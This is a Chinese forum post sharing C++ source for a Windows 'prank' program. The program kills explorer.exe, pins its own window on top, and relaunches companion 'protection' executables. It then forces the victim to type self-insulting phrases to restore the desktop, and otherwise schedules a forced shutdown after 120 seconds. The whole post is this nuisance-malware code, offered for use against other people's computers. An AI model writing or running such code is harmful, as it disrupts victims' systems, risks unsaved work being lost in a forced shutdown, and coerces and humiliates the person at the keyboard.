整人代码
  • 板块灌水区
  • 楼主liudailin123bc
  • 当前回复0
  • 已保存回复0
  • 发布时间2024/7/9 09:55
  • 上次更新2024/7/9 09:56:59
查看原帖
整人代码
958887
liudailin123bc楼主2024/7/9 09:55
#include<bits/stdc++.h>
#include<windows.h>
#include <tlhelp32.h>
bool getProcess(const char *procressName) {              //此函数进程名不区分大小写
	char pName[MAX_PATH];                                //和PROCESSENTRY32结构体中的szExeFile字符数组保持一致,便于比较
	strcpy(pName,procressName);                            //拷贝数组
	CharLowerBuff(pName,MAX_PATH);                        //将名称转换为小写
	PROCESSENTRY32 currentProcess;                        //存放快照进程信息的一个结构体
	currentProcess.dwSize = sizeof(currentProcess);        //在使用这个结构之前,先设置它的大小
	HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//给系统内的所有进程拍一个快照
 
	if (hProcess == INVALID_HANDLE_VALUE) {
		return false;
	}
 
	bool bMore=Process32First(hProcess,&currentProcess);        //获取第一个进程信息
	while(bMore) {
		CharLowerBuff(currentProcess.szExeFile,MAX_PATH);        //将进程名转换为小写
		if (strcmp(currentProcess.szExeFile,pName)==0) {          //比较是否存在此进程
			CloseHandle(hProcess);                                //清除hProcess句柄
			return true;
		}
		bMore=Process32Next(hProcess,&currentProcess);            //遍历下一个
	}
 
	CloseHandle(hProcess);    //清除hProcess句柄
	return false;
}
void po() {
	if(getProcess("整人代码-防护.exe") == 0) {
		system("start 整人代码-防护.exe");
	}
	if(getProcess("整人代码-防护2.exe") == 0) {
		system("start 整人代码-防护2.exe");
	}
	HWND hWnd = ::GetForegroundWindow();
	::SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
}
using namespace std;
int main() {
	po();
	system("taskkill /f /t /im explorer.exe");
	string in;
	po();
	HWND hWnd = ::GetForegroundWindow();
	::SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
	cout<<endl<<"输入我是猪,不然就不给你恢复桌面了:";
	cin>>in;
	po();
	if(in == "我是猪") {
		cout<<"这是一个事实,哈哈哈\n";
		po();
		Sleep(5000);
		po();
		cout<<"怎么了,我忘了什么吗?哦要恢复桌面是吧,那就再说一声我是大傻子:";
		cin>>in;
		if(in == "我是大傻子") {
			po();
			cout<<"真乖,哈哈哈哈哈哈\n";
			Sleep(1000);
			po();
			cout<<"看在你说实话的份上,就给你恢复吧,哈哈哈";
			system("start explorer.exe");
			system("start 整人代码-kill.exe");
			return 0;
		}
	}
	po();
	cout<<"很勇啊你,让我帮你关机吧!\n";
	system("shutdown -s -t 120");
	cout<<"温馨提示:输入“我是大傻猪”即可免除关机:";
	po();
	cin>>in;
	if(in == "我是大傻猪") {
		cout<<"说的很对,我表示赞同,那就让我大发慈悲的免除你关机吧。\n";
		po();
		system("shutdown -a");
		Sleep(3000);
		po();
		cout<<"啥?\n";
		Sleep(3000);
		po();
		cout<<"我忘了什么东西?\n";
		Sleep(3000);
		po();
		cout<<"恢复啥?\n";
		Sleep(3000);
		po();
		cout<<"最近记忆不太好,忘了,想让我把你桌面装回来就说一声“我是世上独一无二绝无仅有的超级大傻猪”:";
		cin>>in;
		po();
		if(in == "我是世上独一无二绝无仅有的超级大傻猪") {
			cout<<"真乖,看我咻---";
			system("start explorer.exe");
			system("start 整人代码-kill.exe");
			return 0;
		}
	}
	cout<<"唉,人啊,看你这么不认真不说实话,那我走了";
	system("start 整人代码-kill.exe");
	return 0;
}
2024/7/9 09:55
加载中...